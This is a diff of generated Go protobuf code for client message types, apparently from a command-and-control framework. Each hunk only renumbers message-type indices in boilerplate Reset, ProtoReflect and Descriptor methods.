func (x *HTTPC2Config) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[92]
+ mi := &file_clientpb_client_proto_msgTypes[98]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7986,7 +8469,7 @@ func (x *HTTPC2Config) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2Config.ProtoReflect.Descriptor instead.
func (*HTTPC2Config) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{92}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{98}
}
func (x *HTTPC2Config) GetID() string {
@@ -8038,7 +8521,7 @@ type HTTPC2ServerConfig struct {
func (x *HTTPC2ServerConfig) Reset() {
*x = HTTPC2ServerConfig{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[93]
+ mi := &file_clientpb_client_proto_msgTypes[99]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8051,7 +8534,7 @@ func (x *HTTPC2ServerConfig) String() string {
func (*HTTPC2ServerConfig) ProtoMessage() {}
func (x *HTTPC2ServerConfig) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[93]
+ mi := &file_clientpb_client_proto_msgTypes[99]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8064,7 +8547,7 @@ func (x *HTTPC2ServerConfig) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2ServerConfig.ProtoReflect.Descriptor instead.
func (*HTTPC2ServerConfig) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{93}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{99}
}
func (x *HTTPC2ServerConfig) GetID() string {
@@ -8122,7 +8605,7 @@ type HTTPC2ImplantConfig struct {
func (x *HTTPC2ImplantConfig) Reset() {
*x = HTTPC2ImplantConfig{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[94]
+ mi := &file_clientpb_client_proto_msgTypes[100]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8135,7 +8618,7 @@ func (x *HTTPC2ImplantConfig) String() string {
func (*HTTPC2ImplantConfig) ProtoMessage() {}
func (x *HTTPC2ImplantConfig) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[94]
+ mi := &file_clientpb_client_proto_msgTypes[100]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8148,7 +8631,7 @@ func (x *HTTPC2ImplantConfig) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2ImplantConfig.ProtoReflect.Descriptor instead.
func (*HTTPC2ImplantConfig) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{94}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{100}
}
func (x *HTTPC2ImplantConfig) GetID() string {
@@ -8282,7 +8765,7 @@ type HTTPC2Cookie struct {
func (x *HTTPC2Cookie) Reset() {
*x = HTTPC2Cookie{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[95]
+ mi := &file_clientpb_client_proto_msgTypes[101]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8295,7 +8778,7 @@ func (x *HTTPC2Cookie) String() string {
func (*HTTPC2Cookie) ProtoMessage() {}
func (x *HTTPC2Cookie) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[95]
+ mi := &file_clientpb_client_proto_msgTypes[101]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8308,7 +8791,7 @@ func (x *HTTPC2Cookie) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2Cookie.ProtoReflect.Descriptor instead.
func (*HTTPC2Cookie) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{95}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{101}
}
func (x *HTTPC2Cookie) GetID() string {
@@ -8340,7 +8823,7 @@ type HTTPC2Header struct {
func (x *HTTPC2Header) Reset() {
*x = HTTPC2Header{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[96]
+ mi := &file_clientpb_client_proto_msgTypes[102]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8353,7 +8836,7 @@ func (x *HTTPC2Header) String() string {
func (*HTTPC2Header) ProtoMessage() {}
func (x *HTTPC2Header) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[96]
+ mi := &file_clientpb_client_proto_msgTypes[102]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8366,7 +8849,7 @@ func (x *HTTPC2Header) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2Header.ProtoReflect.Descriptor instead.
func (*HTTPC2Header) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{96}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{102}
}
func (x *HTTPC2Header) GetID() string {
@@ -8419,7 +8902,7 @@ type HTTPC2URLParameter struct {
func (x *HTTPC2URLParameter) Reset() {
*x = HTTPC2URLParameter{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[97]
+ mi := &file_clientpb_client_proto_msgTypes[103]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8432,7 +8915,7 @@ func (x *HTTPC2URLParameter) String() string {
func (*HTTPC2URLParameter) ProtoMessage() {}
func (x *HTTPC2URLParameter) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[97]
+ mi := &file_clientpb_client_proto_msgTypes[103]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8445,7 +8928,7 @@ func (x *HTTPC2URLParameter) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2URLParameter.ProtoReflect.Descriptor instead.
func (*HTTPC2URLParameter) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{97}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{103}
}
func (x *HTTPC2URLParameter) GetID() string {
@@ -8497,7 +8980,7 @@ type HTTPC2PathSegment struct {
func (x *HTTPC2PathSegment) Reset() {
*x = HTTPC2PathSegment{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[98]
+ mi := &file_clientpb_client_proto_msgTypes[104]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8510,7 +8993,7 @@ func (x *HTTPC2PathSegment) String() string {
func (*HTTPC2PathSegment) ProtoMessage() {}
func (x *HTTPC2PathSegment) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[98]
+ mi := &file_clientpb_client_proto_msgTypes[104]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8523,7 +9006,7 @@ func (x *HTTPC2PathSegment) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2PathSegment.ProtoReflect.Descriptor instead.
func (*HTTPC2PathSegment) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{98}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{104}
}
func (x *HTTPC2PathSegment) GetID() string {
@@ -8572,7 +9055,7 @@ type Credential struct {
func (x *Credential) Reset() {
*x = Credential{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[99]
+ mi := &file_clientpb_client_proto_msgTypes[105]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8585,7 +9068,7 @@ func (x *Credential) String() string {
func (*Credential) ProtoMessage() {}
func (x *Credential) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[99]
+ mi := &file_clientpb_client_proto_msgTypes[105]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8598,7 +9081,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message {
// Deprecated: Use Credential.ProtoReflect.Descriptor instead.
func (*Credential) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{99}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{105}
}
func (x *Credential) GetID() string {
@@ -8668,7 +9151,7 @@ type Credentials struct {
func (x *Credentials) Reset() {
*x = Credentials{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[100]
+ mi := &file_clientpb_client_proto_msgTypes[106]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8681,7 +9164,7 @@ func (x *Credentials) String() string {
func (*Credentials) ProtoMessage() {}
func (x *Credentials) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[100]
+ mi := &file_clientpb_client_proto_msgTypes[106]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8694,7 +9177,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message {
// Deprecated: Use Credentials.ProtoReflect.Descriptor instead.
func (*Credentials) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{100}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{106}
}
func (x *Credentials) GetCredentials() []*Credential {
@@ -8716,7 +9199,7 @@ type Crackstations struct {
func (x *Crackstations) Reset() {
*x = Crackstations{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[101]
+ mi := &file_clientpb_client_proto_msgTypes[107]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8729,7 +9212,7 @@ func (x *Crackstations) String() string {
func (*Crackstations) ProtoMessage() {}
func (x *Crackstations) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[101]
+ mi := &file_clientpb_client_proto_msgTypes[107]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8742,7 +9225,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message {
// Deprecated: Use Crackstations.ProtoReflect.Descriptor instead.
func (*Crackstations) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{101}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{107}
}
func (x *Crackstations) GetCrackstations() []*Crackstation {
@@ -8768,7 +9251,7 @@ type CrackstationStatus struct {
func (x *CrackstationStatus) Reset() {
*x = CrackstationStatus{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[102]
+ mi := &file_clientpb_client_proto_msgTypes[108]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8781,7 +9264,7 @@ func (x *CrackstationStatus) String() string {
func (*CrackstationStatus) ProtoMessage() {}
func (x *CrackstationStatus) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[102]
+ mi := &file_clientpb_client_proto_msgTypes[108]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8794,7 +9277,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead.
func (*CrackstationStatus) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{102}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{108}
}
func (x *CrackstationStatus) GetName() string {
@@ -8851,7 +9334,7 @@ type CrackSyncStatus struct {
func (x *CrackSyncStatus) Reset() {
*x = CrackSyncStatus{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[103]
+ mi := &file_clientpb_client_proto_msgTypes[109]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8864,7 +9347,7 @@ func (x *CrackSyncStatus) String() string {
func (*CrackSyncStatus) ProtoMessage() {}
func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[103]
+ mi := &file_clientpb_client_proto_msgTypes[109]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8877,7 +9360,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead.
func (*CrackSyncStatus) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{103}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{109}
}
func (x *CrackSyncStatus) GetSpeed() float32 {
@@ -8907,7 +9390,7 @@ type CrackBenchmark struct {
func (x *CrackBenchmark) Reset() {
*x = CrackBenchmark{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[104]
+ mi := &file_clientpb_client_proto_msgTypes[110]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8920,7 +9403,7 @@ func (x *CrackBenchmark) String() string {
func (*CrackBenchmark) ProtoMessage() {}
func (x *CrackBenchmark) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[104]
+ mi := &file_clientpb_client_proto_msgTypes[110]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -8933,7 +9416,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead.
func (*CrackBenchmark) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{104}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{110}
}
func (x *CrackBenchmark) GetName() string {
@@ -8974,7 +9457,7 @@ type CrackTask struct {
func (x *CrackTask) Reset() {
*x = CrackTask{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[105]
+ mi := &file_clientpb_client_proto_msgTypes[111]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -8987,7 +9470,7 @@ func (x *CrackTask) String() string {
func (*CrackTask) ProtoMessage() {}
func (x *CrackTask) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[105]
+ mi := &file_clientpb_client_proto_msgTypes[111]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -9000,7 +9483,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackTask.ProtoReflect.Descriptor instead.
func (*CrackTask) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{105}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{111}
}
func (x *CrackTask) GetID() string {
@@ -9074,7 +9557,7 @@ type Crackstation struct {
func (x *Crackstation) Reset() {
*x = Crackstation{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[106]
+ mi := &file_clientpb_client_proto_msgTypes[112]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -9087,7 +9570,7 @@ func (x *Crackstation) String() string {
func (*Crackstation) ProtoMessage() {}
func (x *Crackstation) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[106]
+ mi := &file_clientpb_client_proto_msgTypes[112]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -9100,7 +9583,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message {
// Deprecated: Use Crackstation.ProtoReflect.Descriptor instead.
func (*Crackstation) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{106}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{112}
}
func (x *Crackstation) GetID() string {
@@ -9207,7 +9690,7 @@ type CUDABackendInfo struct {
func (x *CUDABackendInfo) Reset() {
*x = CUDABackendInfo{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[107]
+ mi := &file_clientpb_client_proto_msgTypes[113]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -9220,7 +9703,7 @@ func (x *CUDABackendInfo) String() string {
func (*CUDABackendInfo) ProtoMessage() {}
func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[107]
+ mi := &file_clientpb_client_proto_msgTypes[113]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -9233,7 +9716,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message {
// Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead.
func (*CUDABackendInfo) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{107}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{113}
}
func (x *CUDABackendInfo) GetType() string {
@@ -9327,7 +9810,7 @@ type OpenCLBackendInfo struct {
func (x *OpenCLBackendInfo) Reset() {
*x = OpenCLBackendInfo{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[108]
+ mi := &file_clientpb_client_proto_msgTypes[114]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -9340,7 +9823,7 @@ func (x *OpenCLBackendInfo) String() string {
func (*OpenCLBackendInfo) ProtoMessage() {}
func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[108]
+ mi := &file_clientpb_client_proto_msgTypes[114]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -9353,7 +9836,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message {
// Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead.
func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{108}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{114}
}
func (x *OpenCLBackendInfo) GetType() string {
@@ -9453,7 +9936,7 @@ type MetalBackendInfo struct {
func (x *MetalBackendInfo) Reset() {
*x = MetalBackendInfo{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[109]
+ mi := &file_clientpb_client_proto_msgTypes[115]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -9466,7 +9949,7 @@ func (x *MetalBackendInfo) String() string {
func (*MetalBackendInfo) ProtoMessage() {}
func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[109]
+ mi := &file_clientpb_client_proto_msgTypes[115]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -9479,7 +9962,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message {
// Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead.
func (*MetalBackendInfo) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{109}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{115}
}
func (x *MetalBackendInfo) GetType() string {
@@ -9677,7 +10160,7 @@ type CrackCommand struct {
func (x *CrackCommand) Reset() {
*x = CrackCommand{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[110]
+ mi := &file_clientpb_client_proto_msgTypes[116]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -9690,7 +10173,7 @@ func (x *CrackCommand) String() string {
func (*CrackCommand) ProtoMessage() {}
func (x *CrackCommand) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[110]
+ mi := &file_clientpb_client_proto_msgTypes[116]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -9703,7 +10186,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead.
func (*CrackCommand) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{110}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{116}
}
func (x *CrackCommand) GetAttackMode() CrackAttackMode {
@@ -10434,7 +10917,7 @@ type CrackConfig struct {
func (x *CrackConfig) Reset() {
*x = CrackConfig{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[111]
+ mi := &file_clientpb_client_proto_msgTypes[117]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -10447,7 +10930,7 @@ func (x *CrackConfig) String() string {
func (*CrackConfig) ProtoMessage() {}
func (x *CrackConfig) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[111]
+ mi := &file_clientpb_client_proto_msgTypes[117]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -10460,7 +10943,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead.
func (*CrackConfig) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{111}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{117}
}
func (x *CrackConfig) GetAutoFire() bool {
@@ -10504,7 +10987,7 @@ type CrackFiles struct {
func (x *CrackFiles) Reset() {
*x = CrackFiles{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[112]
+ mi := &file_clientpb_client_proto_msgTypes[118]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -10517,7 +11000,7 @@ func (x *CrackFiles) String() string {
func (*CrackFiles) ProtoMessage() {}
func (x *CrackFiles) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[112]
+ mi := &file_clientpb_client_proto_msgTypes[118]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -10530,7 +11013,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead.
func (*CrackFiles) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{112}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{118}
}
func (x *CrackFiles) GetFiles() []*CrackFile {
@@ -10575,7 +11058,7 @@ type CrackFile struct {
func (x *CrackFile) Reset() {
*x = CrackFile{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[113]
+ mi := &file_clientpb_client_proto_msgTypes[119]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -10588,7 +11071,7 @@ func (x *CrackFile) String() string {
func (*CrackFile) ProtoMessage() {}
func (x *CrackFile) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[113]
+ mi := &file_clientpb_client_proto_msgTypes[119]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -10601,7 +11084,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackFile.ProtoReflect.Descriptor instead.
func (*CrackFile) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{113}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{119}
}
func (x *CrackFile) GetID() string {
@@ -10695,7 +11178,7 @@ type CrackFileChunk struct {
func (x *CrackFileChunk) Reset() {
*x = CrackFileChunk{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[114]
+ mi := &file_clientpb_client_proto_msgTypes[120]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -10708,7 +11191,7 @@ func (x *CrackFileChunk) String() string {
func (*CrackFileChunk) ProtoMessage() {}
func (x *CrackFileChunk) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[114]
+ mi := &file_clientpb_client_proto_msgTypes[120]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -10721,7 +11204,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead.
func (*CrackFileChunk) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{114}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{120}
}
func (x *CrackFileChunk) GetID() string {
@@ -10764,7 +11247,7 @@ type MonitoringProviders struct {
func (x *MonitoringProviders) Reset() {
*x = MonitoringProviders{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[115]
+ mi := &file_clientpb_client_proto_msgTypes[121]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -10777,7 +11260,7 @@ func (x *MonitoringProviders) String() string {
func (*MonitoringProviders) ProtoMessage() {}
func (x *MonitoringProviders) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[115]
+ mi := &file_clientpb_client_proto_msgTypes[121]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -10790,7 +11273,7 @@ func (x *MonitoringProviders) ProtoReflect() protoreflect.Message {
// Deprecated: Use MonitoringProviders.ProtoReflect.Descriptor instead.
func (*MonitoringProviders) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{115}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{121}
}
func (x *MonitoringProviders) GetProviders() []*MonitoringProvider {
@@ -10814,7 +11297,7 @@ type MonitoringProvider struct {
func (x *MonitoringProvider) Reset() {
*x = MonitoringProvider{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[116]
+ mi := &file_clientpb_client_proto_msgTypes[122]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -10827,7 +11310,7 @@ func (x *MonitoringProvider) String() string {
func (*MonitoringProvider) ProtoMessage() {}
func (x *MonitoringProvider) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[116]
+ mi := &file_clientpb_client_proto_msgTypes[122]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -10840,7 +11323,7 @@ func (x *MonitoringProvider) ProtoReflect() protoreflect.Message {
// Deprecated: Use MonitoringProvider.ProtoReflect.Descriptor instead.
func (*MonitoringProvider) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{116}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{122}
}
func (x *MonitoringProvider) GetID() string {
@@ -10886,7 +11369,7 @@ type ResourceID struct {
func (x *ResourceID) Reset() {
*x = ResourceID{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[117]
+ mi := &file_clientpb_client_proto_msgTypes[123]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
